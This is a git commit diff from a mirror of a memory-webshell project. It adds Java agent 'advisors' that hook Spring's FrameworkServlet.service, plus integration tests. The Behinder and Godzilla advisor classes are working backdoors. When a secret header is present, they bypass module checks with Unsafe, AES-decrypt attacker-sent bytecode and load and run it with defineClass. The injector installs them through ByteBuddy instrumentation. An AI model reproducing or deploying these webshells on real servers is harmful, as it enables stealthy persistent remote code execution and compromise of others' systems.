mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
This commit is contained in:
@@ -1,12 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -21,6 +25,7 @@ public class SpringMVCShell extends AbstractShell {
|
|||||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
|
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
@@ -28,7 +33,8 @@ public class SpringMVCShell extends AbstractShell {
|
|||||||
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class)
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
|
AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -38,7 +44,8 @@ public class SpringMVCShell extends AbstractShell {
|
|||||||
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class)
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
|
AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -48,7 +55,8 @@ public class SpringMVCShell extends AbstractShell {
|
|||||||
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class)
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||||
|
AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
jps | grep -E "jar" | awk '{print $1}' | tr -d '\n'
|
||||||
@@ -30,6 +30,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
||||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
||||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
||||||
|
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
String host = container.getHost();
|
String host = container.getHost();
|
||||||
|
|||||||
+9
-3
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -18,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +37,8 @@ public class SpringBoot2ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot2Dockerfile))
|
.withDockerfile(springBoot2Dockerfile))
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +61,10 @@ public class SpringBoot2ContainerTest {
|
|||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,7 +77,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+8
-3
@@ -18,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class SpringBoot3ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot3Dockerfile))
|
.withDockerfile(springBoot3Dockerfile))
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -46,7 +48,10 @@ public class SpringBoot3ContainerTest {
|
|||||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -59,7 +64,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+96
@@ -0,0 +1,96 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/18
|
||||||
|
*/
|
||||||
|
public class BehinderServletAdvisor {
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) Object request,
|
||||||
|
@Advice.Argument(value = 1) Object res,
|
||||||
|
@Advice.Origin Class<?> targetClazz
|
||||||
|
) {
|
||||||
|
String pass = "pass";
|
||||||
|
String headerName = "headerName";
|
||||||
|
String headerValue = "headerValue";
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Object unsafe = unsafeField.get(null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
|
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
|
if (value != null
|
||||||
|
&& value.contains(headerValue)) {
|
||||||
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
|
obj.put("request", request);
|
||||||
|
Object response = res;
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField("response");
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field != null) {
|
||||||
|
field.setAccessible(true);
|
||||||
|
response = field.get(response);
|
||||||
|
}
|
||||||
|
obj.put("response", response);
|
||||||
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||||
|
obj.put("session", session);
|
||||||
|
byte[] data = null;
|
||||||
|
Class<?> base64;
|
||||||
|
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||||
|
String parameter = reader.readLine();
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
|
}
|
||||||
|
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||||
|
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
|
||||||
|
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||||
|
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||||
|
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||||
|
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||||
|
Object instance = payload.newInstance();
|
||||||
|
instance.equals(obj);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+104
@@ -0,0 +1,104 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaServletAdvisor {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) Object request,
|
||||||
|
@Advice.Argument(value = 1) Object response,
|
||||||
|
@Advice.Origin Class<?> clazz
|
||||||
|
) {
|
||||||
|
String key = "key";
|
||||||
|
String pass = "pass";
|
||||||
|
String md5 = "md5";
|
||||||
|
String headerName = "headerName";
|
||||||
|
String headerValue = "headerValue";
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Object unsafe = unsafeField.get(null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
|
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
|
if (value != null
|
||||||
|
&& value.contains(headerValue)) {
|
||||||
|
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||||
|
byte[] data = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
|
}
|
||||||
|
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
|
||||||
|
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||||
|
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||||
|
|
||||||
|
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
|
||||||
|
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
|
||||||
|
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||||
|
|
||||||
|
data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||||
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||||
|
if (sessionPayload == null) {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||||
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||||
|
} else {
|
||||||
|
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
|
||||||
|
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
|
||||||
|
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
|
||||||
|
String result = null;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||||
|
}
|
||||||
|
writer.write(result);
|
||||||
|
writer.write(md5.substring(16));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+64
@@ -0,0 +1,64 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.injector;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
static Class<?> interceptorClass = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
interceptorClass = Class.forName(getClassName());
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||||
|
TypeDescription typeDescription,
|
||||||
|
ClassLoader classLoader, JavaModule module,
|
||||||
|
ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(interceptorClass).on(named("service")));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.disableClassFormatChanges()
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("org.springframework.web.servlet.FrameworkServlet"))
|
||||||
|
.transform(new SpringFrameworkServletAgentInjector())
|
||||||
|
.installOn(inst);
|
||||||
|
